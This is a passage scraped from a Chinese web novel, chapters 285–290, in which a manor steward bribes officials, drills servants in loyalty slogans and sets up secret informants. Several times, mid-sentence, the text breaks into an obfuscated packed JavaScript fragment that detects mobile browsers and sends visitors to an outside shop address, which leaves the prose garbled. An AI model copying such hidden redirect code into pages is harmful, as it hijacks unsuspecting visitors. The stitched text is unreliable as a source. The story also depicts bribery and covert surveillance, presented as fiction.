l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022876|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屑一顾,我看咱们还是得小心一点。” 李二狗心想,警察局竟然还有这样的糊涂蛋。 “呵呵,那我们就去见识见识他到底有多唬。” 来到会客厅,王霸正翘着二郎腿坐着,见李二狗进来,他只是斜着眼看了一眼。 “李大管家好大的架子,让本队长等了这么久。” 李二狗拱手笑道:“实在是不好意思,刚才有点事情耽搁了,让王队长久等了。” 王霸阴阳道:“李管家日理万机,当然不会把滥用私刑这种小事放在心上。” “王队长,您这话从何说起?我们可没有滥用私刑啊。” “刘海蛟双腿都被你们打断了,你竟然还说没有滥用私刑?在你眼里,什么才算是滥用私刑?” “王队长,刘海蛟杀了人,在逃窜过程中被我们发现,这怎么能算滥用私刑呢?” “刘海蛟到底有没有**是你说了算吗?” “他已经承认自己**了。” “他说是你滥用私刑、刑讯逼供,他才不得不承认自己杀了人,他说自己根本没有**,是你们屈打成招!” “刘海蛟这个**的,当时就应该打死他。” “呵呵,李管家终于承认滥用私刑了,有些事需要你跟我到警察局说清楚,我们走吧!” 李二狗对付这种人早已驾轻就熟。 “王队长,可否借一步说话?” 王霸等得就是李二狗这句话。 王霸朝门口的两个警察挥了挥手。 “你们出去等我。” 警察走后,张二驴也退了出去。 “李管家,我这人说话办事喜欢直来直去,有什么话你尽管说吧。” “王队长,一看就知道您是敞亮人,刘海蛟**之事证据确凿,还请王队长明察。” 李二狗说着便把提前准备好的一百块大洋塞到王霸手里。 王霸笑道:“李管家尽管放心,本队长不会冤枉一个好人,也绝不会放过一个坏人,刘海蛟他死定了。” “那就多谢王队长了,以后还请您多多关照。” “好说,好说。” 第285章 忠诚教育 张二驴看着扬长而去的汽车,不满地说道:“狗哥,这王霸真是不长眼,敲竹杠竟然敲到咱们胡家大院头上了。” 李二狗面带微笑:“人要作死,谁也拦不住,先让他蹦跶几天吧。” “狗哥,这种风气可不能长啊,我看你还是尽快找一下孙县长吧。” 对于李二狗来说,能用钱解决的问题都不是问题。 自己虽然和孙竹刚交好,但也不能事事都指望他。 “二驴,你记住我的话,靠山山倒,靠树树摇,靠人人跑,只有靠自己才是最好的。” 张二驴如同醍醐灌顶般恭维道:“狗哥,跟着你可真长见识。” 明知道张二驴在拍自己马屁,但李二狗还是很高兴。 “二驴,出现刘海蛟这样的事情说明咱们大院的忠诚教育出现了问题,下一步你要重点抓一抓。” 张二驴只知道“忠诚”二字是什么意思,但对于“忠诚教育”却一窍不通。 “狗哥,忠诚怎么教育?忠诚难道不是天生的吗?有些人天生反骨,肯定是教育不好的。” “说你傻吧,你都二十好几的人了,说你聪明,你还傻得没边。” 张二驴虽然被骂,心里却很受用。 “嘿嘿,狗哥,有些事还得需要你给我多点指点。” “其实这个世界上根本就没有绝对的忠诚,忠诚无非是因为背叛的筹码不够。” 张二驴脸红了。 “狗哥,我对你可是绝对忠诚。” “你小子不用这么急着表态,我相信你现在对我是忠诚,但以后什么样谁都无法保证,因为人性是最难以琢磨的东西。” 李二狗说得貌似很有道理,但张二驴绝对不会承认自己会对他不忠诚。 “狗哥,无论以后发生什么,我对你绝无贰心。” 李二狗明知道这是一种恭维,但内心却很受用,这也是人性的一部分。 “二驴,少**扯淡,说正事。忠诚虽然难以琢磨,但却是可以通过教育培养出来的。” “狗哥,麻烦你说得再明白一点,我这脑子太小,一时半会儿还反应不过来。” “不要一听到教育就认为是一件很复杂的事情,其实教育本身是非常简单的。就拿忠诚教育来说,最简单的方式就是每天早晚把大家集合起来,一起高呼几遍忠诚感恩之类的口号,让口号入脑入心,内化于心,外化于行,融入自己血液里,这样日积月累下来,效果是非常明显的。” 张二驴不得不佩服李二狗的智慧,他的脑子里总是装满了各种各样稀奇古怪的主意。 “嘿嘿,狗哥,听你说话可真长见识,还有呢?” “老子让你去做,你倒让老子给你拿主意,你**怪会省劲。” “嘿嘿,我这主要是想和狗哥多学一点。” “除了每天早晚集合高喊口号之外,你再定期把他们组织起来进行集中学习,请教书先生给他们讲一讲《忠经》《孝经》《列女传》《杨家将》这类关于礼孝忠义信的书。而且每次学习完之后让他们每个人在结合自身实际谈一谈心得体会,尤其是自己对胡家大院的感激之情。” 张二驴听后一本正经地说道:“狗哥,你不是人!” “你说什么?” 张二驴连忙解释道:“狗哥,你是神!这世上就没有你不懂的事情。” “让你多读书,你总是不听,这都是吴爷给我的书本上讲的,我也是现学现卖。” “狗哥,听君一席话,胜读十年书,我马上去办。” 李二狗叫住他,继续说道:“光教育还不够,还要配合一定的奖惩措施。” 张二驴又迷糊了,他只能做出一副洗耳恭听的样子。 “所谓的奖励就是每年年底组织所有的人进行一次考核,让大家根据每个人在这一年中的表现进行打分,然后根据得分高低给予一定的奖励。” “当然他们的打分结果只是一个参考,最终的成绩还是由你来确定,这样才能树立你在他们心目中的权威。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022877|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张二驴忙说道:“我肯定不行啊,最终的成绩还得由狗哥你来决定。” “无论最终由谁来决定,结果一定要真实。不能明明他干得很差,你却把他排在第一名,这样大家心里会很不服气,也就失去了考核的意义。” “嗯,有道理,还是狗哥想得深刻,我就想不到。” “你小子是想不到还是不愿意想?多动动脑子,不然会生锈的。” “嘿嘿,我一定向狗哥多学习。” “还有,既然有奖,那就一定要有罚,对于得分排在后三名的人,第一年给予警告,如果第二年还排在后三名,直接予以辞退,这样既保证了公平公正,也能起到震慑作用,让大家时刻怀有一颗敬畏之心。” “张二驴听罢,“扑通”跪在地上,给李二狗“哐哐哐”磕了三个响头。 “狗哥,我服了,我张二驴这辈子跟定你了。” “刚说完靠山山倒,靠树树摇,你小子又给我戴高帽?还有最重要的一条,但这一条一定要保密,不能拿到台面上来。” 看李二狗说得如此神秘,张二驴赶忙问道:“狗哥,什么啊?还得保密?” “你私下里找几个忠诚可靠的人,每个月额外给他们一部分工钱,让他们一旦发现身边有异常的人或者事情,及时向你报告,报告的事情一旦落实,再给他们一部分奖励,这样你就能全面掌握下面所有人的动向。” 张二驴彻底心服口服。 “狗哥,以你的聪明才智,不当总统实在是可惜了。” 李二狗完全认可张二驴的观点。 “还有,你选中的人不要让他们知道还选了别人,要让他们认为自己就是唯一。” 张二驴听后不住地点头,越琢磨越觉得李二狗的话有道理,都是人生智慧。 “另外,选人的时候也要挑选一两个丫鬟,女人同样不能忽视。” “还有吗?” “这些你能做好就很不错了,抓紧去办吧,尽快把口号先制定出来。” 第286章 胡家大院快断粮了 “胡家大院我的家,一砖一瓦皆牵挂!” “大院团结如一人,同守忠孝百世荣!” “众志成城、力量无穷!” …… 当这些响亮的口号每天早晚响彻在胡家大院上空时,李二狗开心地笑了。 这样喊上三五个月,人人都是忠臣孝子。 正当李二狗洋洋自得时,张二驴拉着一张驴脸出现在他面前。 “狗哥,告诉你一个坏消息。” 李二狗以为是忠诚教育出了问题,急忙问道:“二驴,怎么了?” “哎,狗哥,咱们胡家大院的存粮撑不过两个月了。” 李二狗最近接二连三地被一些杂事整得晕头转向,完全忘记了胡家大院正面临着严重的生存危机。 “现在市面上粮食什么价格?” “小麦九**,玉米四**,地瓜三毛。” 李二狗没想到地瓜的价格竟然比以前小麦的价格都贵了好几倍,这是要把穷人逼死的节奏。 其实胡家大院不仅粮食短缺,存款也早已捉襟见肘,如果按这个价格购买粮食,胡家大院很快就会破产。 “狗哥,要不然你向大奶奶请示一下,还是卖点土地吧。” 连年干旱,大部分人早已外出逃荒,土地的价格更是跌到谷底,这时候卖土地实在不是时候。 胡士高已死,于兰芝是自己的女人,梦瑶是自己的女儿,其实胡家大院早已变成李二狗的财产,他不能眼睁睁地看着胡家大院这样败落下去。 好在他还留有一条后路,清风寨还有一些存粮,万不得已的时候可以接济一下胡家大院。 “还是再等等吧,明天我去省城想想办法,看看能不能买一些便宜的粗粮,我不在的这段时间,你一定要看好门户,千万不能出任何闪失!” “放心吧,狗哥,凤凰镇民团已经搬到镇上,咱们这边一旦有情况,他们几分钟就能赶到。” 李二狗还是郑重地交代道:“特殊时期,还是小心一点。” 第二天一早,李二狗便骑马去了县城。 李二狗直接来到孙竹刚的办公室,富志高正在汇报工作。 “大哥,你先忙,我待会再过来。” 李二狗看到富志高在场,故意当着富志高的面称呼孙竹刚为大哥。 孙竹刚说道:“兄弟,不碍事,你进来,正好给你介绍一下,这是咱们县新任警察局局长富志高,富局长,这是我兄弟李二狗,胡家大院的管家。” 富志高一直听说孙竹刚和李二狗关系不错,但没想到两人关系如此之好,在外人面前竟以兄弟相称。 “李管家,久仰久仰,今日得见,果然是气度非凡啊。” 李二狗笑道:“富局长您客气了,我也是久仰您的大名,前两天王霸队长来我们胡家大院,还专门提起过您。” “奥,李管家认识我们王队长?” “我和王队长也是刚刚认识,前两天,王队长为了一件**案,亲自带队到我们胡家大院了解情况,其敬业态度实在是令人敬佩呐。” 李二狗不阴不阳的话,富志高立刻明白其中定有隐含,自己的手下什么德性他心知肚明。 “大家都是朋友,以后还请李管家多多关照。” “呵呵,富局长您客气了,还得请您多关照我们平头老百姓才是。” 富志高更加确定李二狗话里有话。 “孙县长,那我就不打扰你们了。” “嗯,你先回吧,刚才说的事抓紧去办。” 富志高走后,孙竹刚问道:“兄弟,你说的那个王霸是怎么回事?他为难你了?” 李二狗显得毫不在意:“也不算为难,我给了他一点钱就打发了,大哥,这点小事我能应付,不用麻烦你。” “哼,在江东竟然还有这么不开眼的东西!大哥一定会给你出这口气的。” “大哥,这点小事咱们还是以后再说,我今天来是有大事和你商量。” 孙竹刚听说有大事,立马来了精神。 “什么大事?快给大哥说说。” “大哥,我今天想去省城一趟,你有没有空和我一起去?到时候可以去拜访一下夏主席。” 一听说拜访夏主席,孙竹刚就是有天大的事也会变成没事。 “没事,没事,我正准备这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029734|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两天去一趟省城。” “大哥,我知道江东这个烂摊子很难收拾,这次去省城你可以向夏主席诉诉苦,让他拨一些救济粮下来,到时候我会为江东说好话的。其实不瞒你说,我们胡家大院都快断粮了。” “知我者兄弟也,这些天我都快愁**,上边再不拨粮,江东百姓真要死绝了!” “大哥太不容易了,咱们什么时候出发?” “宜早不宜迟,咱们现在就走。” 孙竹刚通知秘书安排车,两人直接乘车去了省城。 富志高回到警察局,越想越觉得李二狗话里有话,他好像对王霸颇有怨言。 “去把王霸叫我屋里来。” 王霸接到通知,立马屁颠屁颠跑到富志高办公室,以他这个级别,局长是很少亲自接见的。 “报告,富局长,您找我?” “王队长,听说你前两天去胡家大院了?” “是的,局长,有个案子我去核实一些情况。” “你和胡家大院的管家李二狗熟悉吗?听说这个人有些来头?” 王霸轻易就从李二狗手中要得一百块大洋,这样的人能有什么来头! 但富志高专门把自己叫来,难道就是为了问李二狗有没有来头? 他为什么要问自己?这不合常理啊! 为了谨慎起见,王霸说道:“局长,您说得有些来头是什么意思?卑职不明白!” 富志高便说道:“前两天他托人找我说情,说情的人说他有些来头,我这正在琢磨该怎么答复他。” 王霸这才心里有了底。 “这个李二狗,现在都传他和孙县长关系匪浅,不过以我看,他就是扯大旗作虎皮,狐假虎威罢了,局长您不必放在心上。” 富志高此时已经确定,王霸去胡家大院肯定趁机敲了李二狗的竹杠,他这是找死! 不过正好给了自己一个在孙竹刚面前立功的机会。 “好了,你先下去吧。” 王霸走后,富志高把秘书叫进来。 “免去王霸行动队副队长职务,开除出警察队伍,这样的害群之马绝不能留在警察队伍中。” 第287章 给人家一个机会呗 李二狗和孙竹刚乘车来到省城。 孙竹刚猛地拍了一下大腿,像是突然想起来什么重要的事情。 “哎呀!” 李二狗吓了一跳,急忙问道:“怎么了,大哥?” “兄弟,咱们走得时候太匆忙,竟然忘记给夏主席带些咱们江东的土特产,真是太不应该了。” 李二狗听罢,微微一笑。 “大哥,我给你带了,放心吧。” 孙竹刚明明看着李二狗空着手上的车,他能带什么土特产? “兄弟,大哥没和你开玩笑,我第一次见夏主席,这样空着手去实在是太不礼貌了。” “大哥,放心吧,不会让你空着手去的,我有准备。现在时间还早,我先带你去个好地方。” 每次从江东带人来省城,李二狗第一站总会选择去百乐门大舞厅。 “狗哥,狗哥……” 百乐门大舞台门口穿着统一黑衣西装的保镖见到李二狗全部热情地问好。 “狗哥,狗哥……” 进入百乐门,里面的舞女和服务员也热情地向李二狗问好。 孙竹刚虽然是江东县的县长,但基本没有离开过江东县,对于省城的新鲜事物充满了好奇。 “兄弟,咱江东的舞厅和这里一比,简直就是草台班子。” 孙竹刚眼珠子滴溜溜盯着舞台上露出半截大长腿的舞女,舌头不自觉地舔了舔有些干裂的嘴唇。 “大哥,人生得意须尽欢,西湖歌舞几时休,躁动起来吧,这才是生活。” “对,对,这才是生活,哈哈。” 李二狗一招手,一个女服务员赶紧来到李二狗身边。 “狗哥,您有什么吩咐?” “这是我最好的大哥,你给他安排两个最漂亮的姑娘,我看就圆圆和兮兮吧,一定要陪好。” “放心吧,狗哥,我这就去安排。” 孙竹刚一听说安排最好的姑娘,还是两个,当即笑得合不拢嘴。 “兄弟,这有点太奢侈了吧?嘿嘿。” “大哥,放开了玩,这里不是江东,你也不是县长,心里千万不要有什么负担,就当在自己家里一样。” 说话间,圆圆和兮兮扭着二尺一的小腰走了过来。 都说女人的腰,夺命的刀,她俩那曼妙的小腰,一旦扭动起来,勾得孙竹刚难以把持,心神荡漾。 “狗哥,您来了,可想死我们了。” “你俩好好陪我大哥耍耍,哥不会亏待你们的。” “狗哥吩咐的事我们当然全力以赴。” 两人立马一边一个挽着孙竹刚的胳膊,孙竹刚笑得眼睛眯成了一条缝。 “兄弟,你不一起吗?” “我还有点事,大哥你好好玩,二楼有包厢,你有什么需求,尽管和她们说,这是咱自己的地方。” 孙竹刚哪里享受过这等齐人之福,左拥右抱的感觉让他顿时有种升天的感觉。 “那大哥就不客气了。” 孙竹刚搂着两个女人去了一个僻静的角落。 李二狗问身边的一个女服务员。 “静雯没来店里吗?” “狗哥,静雯姐一般晚上才过来一会儿,您有什么事?师师姐在楼上。” “不用了,你去忙吧,我上楼给她打个电话。” 李二狗来到二楼静雯办公室,李师师早已听到李二狗到来的消息。 “狗哥,啥时候来的?” 现在李二狗身边的人不论年纪大小,都习惯称呼他为狗哥。 “我这刚到,正想着给静雯打个电话。” “狗哥,你好偏心,心里只想着静雯一个人,我这么一个大活人站在你面前,你都视而不见吗?人家哪里不好嘛?” 面对李师师的言语试探,李二狗只能装糊涂。 静雯那么精明的一个人,他可不想在静雯眼皮子底下埋颗雷。 “我只是怕打扰了师师经理的工作,我这人你还不了解吗?脸皮薄。” “脸皮薄?”李师师目光灼灼地凝视着李二狗的眼睛,“看来我对你了解的还是不够深入呀,给人家一个机会呗。” 李二狗脸红了。 对于李师师这种豪爽泼辣的大洋马类型的女人,李二狗还真有点吃不消。 “师师经理……” “叫我师师。” “师师,等有机会一定和你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030294|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起深入地切磋切磋。” “没有机会就创造机会,我看现在就是一个好机会。” “现在?师师,这种玩笑可开不得啊,我会当真的!” 李师师身子已经贴到李二狗身上,圆圆的、软软的,李二狗感觉呼吸都有些急促。 “现在想试试吗?” 李二狗很想试试,但在这里肯定不能试。 “师师,你听我说……” 没等李二狗说完,李师师突然大笑道:“哈哈,我逗你玩的,你可不要当真吆。” 李师师说完飘然而去,李二狗怀疑她是静雯特意安排来试探自己的,还好刚才没失态。 李二狗哪方面都过硬,就是在女人面前把控不住自己。 想到李师师火辣辣圆润润的身材,李二狗还真挺想试一试她的深浅。 李二狗苦笑一声,然后把电话打到贸易行。 “哪位?” “静雯,我是二狗。” 听到李二狗的声音,原本无精打采的静雯兴奋地问道:“二狗,你来省城了?” “是啊,我刚到百乐门就给你打电话了,可惜啊,你没在,不然现在……嘿嘿。” “讨厌,”静雯娇嗔道,“你等我,我现在马上去找你。” 李二狗想到李师师就在隔壁,便说道:“你别过来了,咱们还是回家见吧,这里不方便。” 静雯立刻心领神会。 “那我马上回家,你也快点。” “怎么?这才几日不见就想成这样了?” “一日不见人家心里就痒痒的,都怨你,哼!” “好了,见面好好补偿你,让你痒个够!” “讨厌!快点回家。” 静雯妖媚的声音令李二狗心神荡漾,他赶紧放下电话,直奔吴公馆。 李二狗回到吴公馆的时候,吴有德没有在家。 看到楼上停的小汽车,李二狗知道静雯已经回来了。 他三步并作两步,跑到二楼卧室,刚进屋,静雯立马扑到他的怀里。 “狗儿,人家都想死你了。” 狂风骤雨般的吻落到李二狗脸上、唇上、脖子上……一直往下,再往下…… 第288章 我和孙县长真是有缘 “静雯,怎么没见干爹,他去哪了?” “干爹昨天去南京了,好像得四五天才能回来。” “太不巧了,我还想着让干爹约约夏主席来家里吃饭,孙竹刚来了。” “孙竹刚?”静雯一听到孙竹刚的名字,直接从床上坐了起来,白花花的晃得李二狗眼晕。 “怎么了?这么激动!” 李二狗说着忍不住动起手脚来。 静雯打了一下李二狗的手,说道:“别闹!你忘了?上次我去江东,见过孙竹刚,虽然没有直接打交道,但他见到我肯定认识。” 李二狗这才想起,上次静雯去江东假意购买王正直的粮食,确实和孙竹刚打过照面。 “这事你不说我还真忘记了,不过应该也不要紧吧?咱俩认识又能怎么样?你们是正常做生意,中间出点岔子也不关咱们的事。” “恩,你说得有道理,王正直不出事,他也捡不着漏,他就是怀疑也不会说出来。” “放心吧,我和他是兄弟,他不会害我的。” “那就好,那晚上咱们还约夏主席来家里吃饭吗?” “算了吧,干爹不在,咱们在家里约他,让干爹知道了反而不好,你说呢?” “嗯,你说的有道理,是不能在吴公馆约他,要不然咱们就约在百乐门大舞厅吧?喝点酒正好放松放松。” “也好,我一会去给夏主席打个电话,如果他晚上有空,你去准备五根金条,再准备两棵老山参,晚上送给他。” “好,待会我去准备,”静雯看了看墙上的挂钟,“时间还早,要不然咱们再来……” 一轮新的鏖战打响了。 “夏主席,您好,我是李二狗。” “二狗啊,来省城了?” “是啊,本来想去省政府拜访您,但又担心打扰您工作。” “怎么会打扰呢?省政府一直都是敞开门办公,你要有空就过来吧。” “夏主席,您日理万机,我实在是不忍心打扰,不知道今晚您有没有空?想请您到百乐门喝点酒放松放松。” “吴爷也去吗?” “**爹去南京了,这次是我请您。” “好吧,如果今晚没有事,我就过去一趟。” 夏瀚林知道,李二狗邀请自己去百乐门肯定不只是为了喝酒,去了就有好处,傻子才不去! “夏主席,还有一件事我得提前向您汇报一声。” “什么事?” “我家乡的父母官孙竹刚特意来省城感谢您的提携之恩,您要是同意见,我就让他一块过来。” 夏瀚林笑道:“既然来了,那就见见吧,你的面子我得给不是吗?哈哈。” “谢谢夏主席,那晚上见。” 李二狗带着静雯来到百乐门大舞厅。 “大哥,我给你介绍一下,这是百乐门大舞厅的经理静雯,静雯这是我大哥,江东县县长孙竹刚。” 静雯甜甜一笑,热情地伸出纤纤玉手。 “孙县长,久仰大名,以后还请多多关照。” 孙竹刚只觉得眼前这个风情万种的女人有些眼熟,只是一时想不起在哪里见过。 “静雯小姐客气了,咱们是不是在哪里见过?” 李二狗故意说道:“大哥,你这搭讪的方式也太老套了吧?” 孙竹刚尴尬一笑,说道:“我是真感觉和静雯小姐在哪里见过。” 静雯主动说道:“孙县长真是好记性,上次我去江东县购买粮食,咱们见过。” 孙竹刚恍然大悟。 “对对对,怪不得我看静雯小姐这么眼熟。” “我和孙县长真是有缘,待会我一定要多敬您几杯。” 李二狗自然地揽住她的腰,说道:“是啊,大哥在江东很照顾我,待会你得多敬他几杯。” 孙竹刚一愣,旋即明白李二狗和静雯的关系。 他实在没有想到李二狗在省城竟有如此风情万种的女人,心里全是羡慕嫉妒恨。 孙竹刚突然想到上次江东县几十万斤粮食被劫之后,张大发曾经举报是李二狗所为。 现在想到他和静雯的关系,孙竹刚不由得脊背发凉。 难道真得是李二狗所为? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034925|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过自己能当上县长,完全是因为李二狗上下疏通打点,如果王正直不死,这么大的一个馅饼又怎么会砸到他头上? 即使粮食真的是李二狗所劫持,他也不会追查。 “孙县长,今晚咱们不醉不归。” 孙竹刚连忙说道:“静雯小姐发话了,肯定要不醉不归,哈哈。” “孙县长,您别叫我静雯小姐了,还是直接叫我静雯吧。” “这……这怎么好意思?” “大哥,静雯是你弟妹,你有啥不好意思的?静雯,这是咱大哥,你也别叫孙县长了,跟着我叫大哥吧。” 静雯笑道:“我有了当县长的大哥,做梦都要笑醒,你说是不是啊?大哥!” “哈哈,什么县长不县长的,咱们都是一家人。” 三人来到包厢。 李二狗说道:“大哥,待会夏主席过来,你把这两颗老山参给他,就说是在山里挖的。” 孙竹刚脸上闪过一丝失望的表情,即使真是从山里挖的山参,送给省政府主席,两颗也拿不出手啊。 “谢谢兄弟,都怪大哥,没有提前准备。” 静雯最善于察言观色,她早就注意到孙竹刚的脸色变化。 “大哥,这两颗老山参不是一般的老山参,你打开看看便知。” 孙竹刚心想,老山参就是老山参,难道是千年的? 他打开锦盒,里面除了两颗老山参之外,还有五根金灿灿的金条。 孙竹刚激动异常,感激地说道:“兄弟,这实在是太让你破费了!等回到江东,我一定想办法还你。” “大哥,说什么还不还的?这是静雯送你的。” 静雯急忙帮腔道:“是啊,大哥,咱们都是一家人,不用分得那么清楚。” 孙竹刚刚刚当上县长,又赶上荒年,五根金条他还真得拿不出来。 “那就谢谢兄弟和弟妹了。” “狗哥,静雯姐,夏主席到了。” “大哥,咱们下去迎接吧。” 孙竹刚急忙站起来,整理了一下衣服,和李二狗一起来到楼下。 第289章 大哥已经尽力了 静雯贴心地挽着夏瀚林,大家一起簇拥着他走进包厢。 夏瀚林坐在中间的沙发上,静雯坐在他旁边,李二狗则坐在了右手边的沙发上。 孙竹刚没有坐,而是恭敬地站在夏瀚林的正对面。 “夏主席,您好。” 夏瀚林上下打量着双手垂立站在自己对面的孙竹刚,心想,这个孙竹刚虽然来自小地方,但还算是懂规矩之人。 “你就是江东县长孙竹刚?” “是的,夏主席,感谢您对竹刚的提携之恩。” “呵呵,现在不是上班时间,孙县长不必如此拘谨,坐下说。” “谢谢夏主席。” 孙竹刚便半个屁股坐在李二狗旁边的沙发上,显得极其恭敬。 “孙县长,江东县目前面临着严峻的考验,本来我想在省政府选一个信得过人去江东,但吴爷和二狗极力向我推荐了你,当时我还是有一定的顾虑,不过目前来看,你的工作还是很不错的。” 孙竹刚听到夏瀚林的夸赞,激动异常。 他急忙站起来说道:“谢谢夏主席的夸奖,江东县目前正处在困难时期,我们的工作距离您的要求、百姓的期待还有很大差距。” 夏瀚林笑着挥挥手,示意他坐下。 “孙县长能有如此清醒的态度,我对你们江东的未来更有信心了。” 李二狗说道:“夏主席,孙县长在江东的成绩有目共睹,在百姓中威信也很高,我们都很支持孙县长的工作,得感谢夏主席给我们县派来这么一位爱民如子的县长啊。” 夏瀚林说道:“得感谢你给我推荐了这么一位优秀的县长,哈哈。” 李二狗见夏瀚林高兴,便继续溜须拍马道:“夏主席,主要是您知人善任,**爹去南京之前还说,省里有夏主席是我们全省之福,来,我代表全省百姓敬您一杯。” 听到吴有德去了南京,还夸赞自己,夏瀚林显得更高兴了。 虽然夏瀚林是省政府主席,地方大员,主政一方。 但他任职的这个省是冯大帅的地盘,汤司令又在省内驻扎了几万军队,其实他就是个光杆司令。 他早就有离开这里,调到南京中央政府或者南方其他省份的打算,为此他也在南京找了不少关系。 如果吴有德能在行政院孙院长面前为自己美言几句,此事将事半功倍。 “能得到吴爷如此评价,足慰平生啊,哈哈,咱们一起干一杯。” 众人干了一杯,静雯赶紧把众人的酒杯倒满。 李二狗和孙竹刚对视一眼,孙竹刚心领神会,说道:“夏主席,不瞒您说,江东县目前灾情还是十分严重,县政府的粮库已经没有一点余粮了。” 李二狗帮腔道:“是啊,我们胡家大院的粮库也见底了。这都是王正直造的孽,他在任期间,搜刮民脂民膏,把地主豪绅捐赠的粮食全部据为己有,夏主席,我们江东的情况与其说是天灾,不如说是人祸,这样一个烂摊子,的确是太为难孙县长了。” 夏瀚林对江东县的情况有一些了解,前段时间江东县大批粮食被劫持,虽然县里并没有把情况上报省政府,但他早有耳闻。 “你们江东的情况我了解一些,但现在全省的情况都不乐观,我这里也是焦头烂额,还得靠你们地方政府想办法解决。” 李二狗见孙竹刚没搭话,便说道:“夏主席,江东县情况特殊,还请您多关照关照,多少给拨一点救济粮,帮助我们江东度过这个难关。” “等我回去再研究研究,你放心,只要省里有粮食,我一定向你们江东倾斜。” 李二狗给孙竹刚递了个眼色,孙竹刚便把身后的锦盒拿出来。 “夏主席,这次来得匆忙,没怎么准备,给您带了一点我们江东的土特产,请您别嫌弃。” 孙竹刚把锦盒放到夏瀚林面前的茶几上。 夏瀚林看锦盒制作的非常精美,肯定不是什么土特产,便笑道:“咱们都是自己人,不必这么客气。孙县长回去好好干,你放心,能照顾江东的我一定会照顾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034926|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “谢谢夏主席,谢谢。” 看事情谈得差不多了,静雯主动出来活跃气氛。 “哎呀,夏主席忙碌了一天,已经够辛苦了,我看还是别谈工作了,让夏主席好好放松放松。” 夏瀚林笑道:“还是静雯懂得体贴人。” 李二狗忙说道:“那咱们都听静雯的,不谈工作只喝酒,来,夏主席,我们再敬您一杯。” 夏瀚林毕竟年纪大了,觥筹交错间,刚喝了一会儿便有了七八分酒意。 “二狗,今晚喝得很高兴,我看今晚就先这样吧,明天一早我还得去省政府开会。” “夏主席,您喝高兴了就好,我送您。” 夏瀚林走后,孙竹刚才长长地舒了一口气,紧绷的神经终于松弛下来。 他尴尬一笑,自嘲道:“第一次见这么大的领导,出了一身汗,真是没出息啊。” 李二狗完全理解他的心情。 “大哥,我看夏主席对你印象不错,相信用不了多久你就可以更进一步。” “兄弟啊,现在这种形势,大哥只求能平稳度过就很满足了,其他的不敢想啊。” “看夏主席的态度,粮食的事应该问题不大,就是给多给少的问题。大哥已经尽力了,只能尽人事听天命了。” 孙竹刚还是面色凝重。 “哎,一想到江东的父老乡亲食不果腹,我这心里啊就焦虑万分。” “大哥,你已经尽力了,千万不要自责。” 李二狗心想,无论如何,自己一定要想办法让夏瀚林拨付一些粮食给江东县。 “大哥,你准备哪天回江东?” “我明天就回去了,县里很多事,我不在不放心,你明天和我一起回吗?” “我在省城还有一些事情,大哥先回吧,夏主席那边我会再想想办法的。” “好兄弟,大哥就拜托你了。” 看孙竹刚如此疲惫,李二狗便贴心地安排圆圆和兮兮晚上好好陪陪他。 孙竹刚没有拒绝,愉快地接受了。 第290章 内心有一团火焰在燃烧 